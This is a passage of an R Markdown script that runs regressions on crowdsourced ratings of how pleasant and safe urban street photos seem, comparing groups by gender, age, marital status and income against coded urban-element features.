mean(liberdade$g2q3, na.rm = TRUE)
mean(liberdade$g3q1_left, na.rm = TRUE)
mean(liberdade$g3q1_right, na.rm = TRUE)
mean(liberdade$g3q2_left, na.rm = TRUE)
mean(liberdade$g3q2_right, na.rm = TRUE)
mean(liberdade$g3q3_left, na.rm = TRUE)
mean(liberdade$g3q3_right, na.rm = TRUE)
mean(liberdade$g4q1, na.rm = TRUE)
mean(liberdade$g4q2, na.rm = TRUE)
mean(liberdade$g5q1, na.rm = TRUE)
mean(liberdade$g5q2, na.rm = TRUE)
mean(liberdade$g6q1_left, na.rm = TRUE)
mean(liberdade$g6q1_right, na.rm = TRUE)
mean(liberdade$g6q2_left, na.rm = TRUE)
mean(liberdade$g6q2_right, na.rm = TRUE)
mean(liberdade$g7q1, na.rm = TRUE)
mean(liberdade$g7q2, na.rm = TRUE)
mean(liberdade$g7q3_left, na.rm = TRUE)
mean(liberdade$g7q3_right, na.rm = TRUE)
mean(liberdade$g8q2_left, na.rm = TRUE)
mean(liberdade$g8q2_right, na.rm = TRUE)
mean(liberdade$g8q3_left, na.rm = TRUE)
mean(liberdade$g8q3_right, na.rm = TRUE)
mean(liberdade$g9q1_left, na.rm = TRUE)
mean(liberdade$g9q1_right, na.rm = TRUE)
mean(liberdade$g10q2, na.rm = TRUE)
mean(liberdade$g10q3, na.rm = TRUE)
mean(liberdade$g11q2_left, na.rm = TRUE)
mean(liberdade$g11q2_right, na.rm = TRUE)
mean(liberdade$g11q3_left, na.rm = TRUE)
mean(liberdade$g11q3_right, na.rm = TRUE)
mean(liberdade$g12q1, na.rm = TRUE)
mean(liberdade$g12q2_left, na.rm = TRUE)
mean(liberdade$g12q2_right, na.rm = TRUE)
mean(liberdade$g12q3, na.rm = TRUE)
mean(liberdade$g13q1_left, na.rm = TRUE)
mean(liberdade$g13q1_right, na.rm = TRUE)
mean(liberdade$g13q2_left, na.rm = TRUE)
mean(liberdade$g13q2_right, na.rm = TRUE)
resink()
#Confidence interval?
t.test(centro$g13q1_left, na.action = na.rm )$conf.int
#Regressao
colnames(novosDados)[colnames(novosDados) == "V2"] <- "image_url"
temp <- merge(groupedData1, novosDados, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData2, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData3, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData4, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData5, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData6, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData7, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData8, by.x="image_url", by.y="image_url")
temp<- merge(temp, groupedData9, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData10, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData11, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData12, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData13, by.x="image_url", by.y="image_url")
agrad <- filter(temp, V1 == "agradavel?")
seg <- filter(temp, V1 == "seguro?")
library(leaps)
#Geral
regsubsetsAgrad.out <<- regsubsets(V3.Geral ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = agrad, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
#regGeralAgrad <- lm(agrad$V3.Geral ~ agrad$g1q1 + agrad$g1q2 + agrad$g1q3 + agrad$g2q1 + agrad$g2q2 + agrad$g2q3 + agrad$g3q1 + agrad$g3q2 + agrad$g3q3 + agrad$g4q1 + agrad$g4q2 + agrad$g5q1 + agrad$g5q2 + agrad$g6q1 + agrad$g6q2 + agrad$g7q1 + agrad$g7q2 + agrad$g7q3 + agrad$g8q2 + agrad$g8q3 + agrad$g9q1 + agrad$g10q2 + agrad$g10q3 + agrad$g11q2 + agrad$g11q3 + agrad$g12q1 + agrad$g12q2 + agrad$g12q3 + agrad$g13q1 + agrad$g13q2, na.action = na.exclude)
regGeralAgrad <- lm(agrad$V3.Geral ~ agrad$g1q1 + agrad$g1q3 + agrad$g2q1 + agrad$g2q2 + agrad$g2q3 + agrad$g3q1 + agrad$g3q2 + agrad$g3q3 + agrad$g4q1 + agrad$g4q2 + agrad$g6q1 + agrad$g6q2 + agrad$g7q1 + agrad$g7q2 + agrad$g7q3 + agrad$g8q1 + agrad$g8q3 + agrad$g9q1 + agrad$g10q3 + agrad$g11q3 + agrad$g12q1 + agrad$g12q3 + agrad$g13q1, na.action = na.exclude)
summary(regGeralAgrad)
#Homem x Mulher
agrad.l <- agrad %>%
do(arrange(., desc(V3.Masculino))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Feminino))) %>% mutate(index = 1:n())
regsubsetsAgrad.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = agrad.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2", )
#regGeralAgrad <- lm(agrad$V3.Masculino - agrad$V3.Feminino ~ agrad$g1q1 + agrad$g2q1 + agrad$g2q2 + agrad$g2q3 + agrad$g3q1 + agrad$g3q2 + agrad$g4q1 + agrad$g4q2 + agrad$g5q1 + agrad$g5q2 + agrad$g6q1 + agrad$g6q2 + agrad$g7q1 + agrad$g7q2 + agrad$g7q3 + agrad$g8q3 + agrad$g9q1 + agrad$g10q2 + agrad$g10q3 + agrad$g11q3 + agrad$g12q3 + agrad$g13q1, na.action = na.exclude)
print("##### Diferenca ranking Homem x Mulher - Pleasantness")
regGeralAgrad <- lm(agrad.l$rank - agrad.l$index ~ agrad.l$g1q2 + agrad.l$g1q3 + agrad.l$g2q2 + agrad.l$g3q1 + agrad.l$g3q2 + agrad.l$g3q3 + agrad.l$g4q2 + agrad.l$g5q1 + agrad.l$g5q2 + agrad.l$g6q1 + agrad.l$g7q1 + agrad.l$g7q2 + agrad.l$g7q3 + agrad.l$g8q2 + agrad.l$g9q1 + agrad.l$g10q2 + agrad.l$g10q3 + agrad.l$g11q2 + agrad.l$g12q1 + agrad.l$g12q2 + agrad.l$g13q1 + agrad.l$g13q2, na.action = na.exclude)
summary(regGeralAgrad)
#Jovem x Adulto
agrad.l <- agrad %>%
do(arrange(., desc(V3.Jovem))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Adulto))) %>% mutate(index = 1:n())
regsubsetsAgrad.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = agrad.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
print("##### Diferenca ranking Jovem x Adulto - Pleasantness")
#regGeralAgrad <- lm(agrad$V3.Jovem - agrad$V3.Adulto ~ agrad$g1q1 + agrad$g1q2 + agrad$g1q3 + agrad$g2q2 + agrad$g2q3 + agrad$g3q1 + agrad$g3q3 + agrad$g4q2 + agrad$g5q1 + agrad$g5q2 + agrad$g6q1 + agrad$g6q2 + agrad$g7q2 + agrad$g7q3 + agrad$g8q2 + agrad$g9q1 + agrad$g10q2 + agrad$g10q3 + agrad$g12q2 + agrad$g12q3 + agrad$g13q1, na.action = na.exclude)
regGeralAgrad <- lm(agrad.l$rank - agrad.l$index ~ agrad.l$g1q2 + agrad.l$g1q3 + agrad.l$g2q2 + agrad.l$g2q3 + agrad.l$g3q1 + agrad.l$g3q2 + agrad.l$g3q3 + agrad.l$g5q1 + agrad.l$g5q2 + agrad.l$g6q1 + agrad.l$g6q2 + agrad.l$g7q1 + agrad.l$g7q3 + agrad.l$g8q2 + agrad.l$g8q3 + agrad.l$g10q2 + agrad.l$g11q2 + agrad.l$g11q3 + agrad.l$g12q1 + agrad.l$g12q3 + agrad.l$g13q1 + agrad.l$g13q2, na.action = na.exclude)
summary(regGeralAgrad)
#Casado x Solteiro
agrad.l <- agrad %>%
do(arrange(., desc(V3.Casado))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Solteiro))) %>% mutate(index = 1:n())
regsubsetsAgrad.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = agrad.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
print("##### Diferenca ranking Casado x Solteiro - Pleasantness")
regGeralAgrad <- lm(agrad.l$rank - agrad.l$index ~ agrad.l$g1q1 + agrad.l$g1q2 + agrad.l$g1q3 + agrad.l$g2q1 + agrad.l$g2q2 + agrad.l$g2q3 + agrad.l$g3q1 + agrad.l$g3q3 + agrad.l$g4q1 + agrad.l$g4q2 + agrad.l$g5q1 + agrad.l$g6q1 + agrad.l$g7q1 + agrad.l$g7q2 + agrad.l$g7q3 + agrad.l$g8q3 + agrad.l$g9q1 + agrad.l$g10q3 + agrad.l$g11q3 + agrad.l$g12q1 + agrad.l$g12q3 + agrad.l$g13q1, na.action = na.exclude)
summary(regGeralAgrad)
#Baixa renda x Media renda
agrad.l <- agrad %>%
do(arrange(., desc(V3.Baixa))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Media))) %>% mutate(index = 1:n())
regsubsetsAgrad.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = agrad.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
print("##### Diferenca ranking baixa x media - Pleasantness")
regGeralAgrad <- lm(agrad.l$rank - agrad.l$index ~ agrad.l$g1q2 + agrad.l$g1q3 + agrad.l$g2q2 + agrad.l$g2q3 + agrad.l$g3q2 + agrad.l$g3q3 + agrad.l$g4q2 + agrad.l$g5q1 + agrad.l$g5q2 + agrad.l$g6q1 + agrad.l$g6q2 + agrad.l$g7q3 + agrad.l$g8q2 + agrad.l$g8q3 + agrad.l$g9q1 + agrad.l$g10q2 + agrad.l$g10q3 + agrad.l$g11q3 + agrad.l$g12q1 + agrad.l$g12q2 + agrad.l$g13q1 + agrad.l$g13q2, na.action = na.exclude)
summary(regGeralAgrad)
#Geral Seguranca
regsubsetsAgrad.out <<- regsubsets(V3.Geral ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = seg, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
regGeralSeg <- lm(seg$V3.Geral ~ seg$g1q1 + seg$g1q3 + seg$g2q1 + seg$g2q2 + seg$g2q3 + seg$g3q1 + seg$g3q2 + seg$g3q3 + seg$g4q1 + seg$g4q2 + seg$g6q1 + seg$g6q2 + seg$g7q1 + seg$g7q2 + seg$g7q3 + seg$g8q1 + seg$g8q3 + seg$g9q1 + seg$g10q3 + seg$g11q3 + seg$g12q1 + seg$g12q3 + seg$g13q1, na.action = na.exclude)
summary(regGeralSeg)
#Homem x Mulher
seg.l <- seg %>%
do(arrange(., desc(V3.Masculino))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Feminino))) %>% mutate(index = 1:n())
regsubsetsSeg.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = seg.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2", )
#regGeralAgrad <- lm(agrad$V3.Masculino - agrad$V3.Feminino ~ agrad$g1q1 + agrad$g2q1 + agrad$g2q2 + agrad$g2q3 + agrad$g3q1 + agrad$g3q2 + agrad$g4q1 + agrad$g4q2 + agrad$g5q1 + agrad$g5q2 + agrad$g6q1 + agrad$g6q2 + agrad$g7q1 + agrad$g7q2 + agrad$g7q3 + agrad$g8q3 + agrad$g9q1 + agrad$g10q2 + agrad$g10q3 + agrad$g11q3 + agrad$g12q3 + agrad$g13q1, na.action = na.exclude)
print("##### Diferenca ranking Homem x Mulher - Safety")
regGeralSeg <- lm(seg.l$rank - seg.l$index ~ seg.l$g1q1 + seg.l$g1q2 + seg.l$g1q3 + seg.l$g2q1 + seg.l$g2q3 + seg.l$g4q1 + seg.l$g4q2 + seg.l$g5q1 + seg.l$g7q1 + seg.l$g7q2 + seg.l$g7q3 + seg.l$g8q2 + seg.l$g8q3 + seg.l$g9q1 + seg.l$g10q2 + seg.l$g11q2 + seg.l$g11q3 + seg.l$g12q1 + seg.l$g12q2 + seg.l$g13q1 + seg.l$g13q2, na.action = na.exclude)
summary(regGeralSeg)
#Jovem x Adulto
seg.l <- seg %>%
do(arrange(., desc(V3.Jovem))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Adulto))) %>% mutate(index = 1:n())
regsubsetsSeg.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = seg.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
print("##### Diferenca ranking Jovem x Adulto - Safety")
#regGeralAgrad <- lm(agrad$V3.Jovem - agrad$V3.Adulto ~ agrad$g1q1 + agrad$g1q2 + agrad$g1q3 + agrad$g2q2 + agrad$g2q3 + agrad$g3q1 + agrad$g3q3 + agrad$g4q2 + agrad$g5q1 + agrad$g5q2 + agrad$g6q1 + agrad$g6q2 + agrad$g7q2 + agrad$g7q3 + agrad$g8q2 + agrad$g9q1 + agrad$g10q2 + agrad$g10q3 + agrad$g12q2 + agrad$g12q3 + agrad$g13q1, na.action = na.exclude)
regGeralSeg <- lm(seg.l$rank - seg.l$index ~ seg.l$g1q3 + seg.l$g2q3 + seg.l$g3q1 + seg.l$g3q2 + seg.l$g4q1 + seg.l$g4q2 + seg.l$g5q1 + seg.l$g6q1 + seg.l$g7q1 + seg.l$g7q2 + seg.l$g7q3 + seg.l$g8q2 + seg.l$g8q3 + seg.l$g9q1 + seg.l$g10q2 + seg.l$g10q3 + seg.l$g11q2 + seg.l$g11q3 + seg.l$g12q1 + seg.l$g12q2 + seg.l$g12q3 + seg.l$g13q2, na.action = na.exclude)
summary(regGeralSeg)
#Casado x Solteiro
seg.l <- seg %>%
do(arrange(., desc(V3.Casado))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Solteiro))) %>% mutate(index = 1:n())
regsubsetsSeg.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = seg.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
print("##### Diferenca ranking Casado x Solteiro - Safety")
regGeralSeg <- lm(seg.l$rank - seg.l$index ~ scale(seg.l$g1q1) + scale(seg.l$g2q2) + scale(seg.l$g2q3) +scale( seg.l$g3q1) + scale(seg.l$g3q2) + scale(seg.l$g3q3) + scale(seg.l$g4q1) + scale(seg.l$g4q2) + scale(seg.l$g5q1) + scale(seg.l$g5q2) + scale(seg.l$g6q2) + scale(seg.l$g7q1) + scale(seg.l$g7q3) + scale(seg.l$g8q2) + scale(seg.l$g9q1) + scale(seg.l$g10q2) + scale(seg.l$g10q3) + scale(seg.l$g11q2) + scale(seg.l$g11q3) + scale(seg.l$g12q1) + scale(seg.l$g12q2) + scale(seg.l$g12q3), na.action = na.exclude)
summary(regGeralSeg)
#Baixa renda x Media renda
seg.l <- seg %>%
do(arrange(., desc(V3.Baixa))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Media))) %>% mutate(index = 1:n())
regsubsetsSeg.out <<- regsubsets(rank - index ~ g1q1 + g1q2 + g1q3 + g2q1 + g2q2 + g2q3 + g3q1 + g3q2 + g3q3 + g4q1 + g4q2 + g5q1 + g5q2 + g6q1 + g6q2 + g7q1 + g7q2 + g7q3 + g8q2 + g8q3 + g9q1 + g10q2 + g10q3 + g11q2 + g11q3 + g12q1 + g12q2 + g12q3 + g13q1 + g13q2, na.action = na.exclude, data = seg.l, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
print("##### Diferenca ranking baixa x media - Safety")
regGeralSeg <- lm(seg.l$rank - seg.l$index ~ seg.l$g1q2 + seg.l$g1q3 + seg.l$g2q2 + seg.l$g2q3 + seg.l$g3q2 + seg.l$g3q3 + seg.l$g4q2 + seg.l$g5q1 + seg.l$g5q2 + seg.l$g6q1 + seg.l$g6q2 + seg.l$g7q3 + seg.l$g8q2 + seg.l$g8q3 + seg.l$g9q1 + seg.l$g10q2 + seg.l$g10q3 + seg.l$g11q3 + seg.l$g12q1 + seg.l$g12q2 + seg.l$g13q1 + seg.l$g13q2, na.action = na.exclude)
summary(regGeralSeg)
```
#<NAME> Mulheres
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
library(ggplot2)
library(gridExtra)
library(dplyr)
source('analisaICPorFoto.R')
facet_names <- list(
'agrad%C3%A1vel?'="Pleasant",
'seguro?'="Safeness"
)
facet_labeller <- function(variable,value){
return(facet_names[value])
}
dados <- read.table("geral2.dat", header=TRUE)
#Intervalo de confiança por ponto
temp <- dados
qscoreSim <- temp [ c(4:103) ]
icData <- apply(qscoreSim, 1, ic)
temp$distance <- icData
#Subset of columns
dadosSub <- temp[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro", "distance")]
novosDados <- reshape(dadosSub, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Copia com todos os dados
dadosCopy <- temp[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro")]
#Separando homens e mulheres
grupo1 <- dadosSub[(dadosSub$grupo == 'Masculino' & dadosSub$V1=='agradavel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Feminino' & dadosSub$V1=='agradavel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Masculino)
sd(novosgrupo1grupo2$V3.Feminino)
sd(novosgrupo1grupo2$V3.Masculino - novosgrupo1grupo2$V3.Feminino)
#Regressao
library(texreg)
regAgrad <- lm(V3.Masculino ~ V3.Feminino, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-hom-mul-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos")], file="reg-hom-mul-data-agrad.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-hom-mul-data-agrad.dat", sep = "\t")
#Separando homens e mulheres
grupo1 <- dadosSub[(dadosSub$grupo == 'Masculino' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Feminino' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Masculino)
sd(novosgrupo1grupo2$V3.Feminino)
sd(novosgrupo1grupo2$V3.Masculino - novosgrupo1grupo2$V3.Feminino)
#Regressao
library(texreg)
regAgrad <- lm(V3.Masculino ~ V3.Feminino, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
#Modelo
#sink("reg-hom-mul-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos")], file="reg-hom-mul-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-hom-mul-data-seg.dat", sep = "\t")
```
#Agradavel x Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
grupo1 <- dadosSub[(dadosSub$grupo == 'Geral' & dadosSub$V1=='agradavel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Geral' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="V1", idvar=c("V2", "grupo", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V3.agradavel?"] <- "V3.agradavel"
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V3.seguro?"] <- "V3.seguro"
#Regressao
library(texreg)
regAgrad <- lm(V3.agradavel ~ V3.seguro, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-jov-adu-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.agradavel", "V3.seguro", "residuals", "residualsPos")], file="agrad-seg.dat", sep = "\t")
```
#Jovens e Adultos
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando jovens e adultos
grupo1 <- dadosSub[(dadosSub$grupo == 'Jovem' & dadosSub$V1=='agradavel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Adulto' & dadosSub$V1=='agradavel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao?
sd(novosgrupo1grupo2$V3.Jovem)
sd(novosgrupo1grupo2$V3.Adulto)
sd(novosgrupo1grupo2$V3.Jovem - novosgrupo1grupo2$V3.Adulto)
#Regressao
library(texreg)
regAgrad <- lm(V3.Jovem ~ V3.Adulto, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
mean(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
sum( (novosgrupo1grupo2$V3.Adulto - mean(novosgrupo1grupo2$V3.Adulto))**2 )
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-jov-adu-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos")], file="reg-jov-adu-data-agrad.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
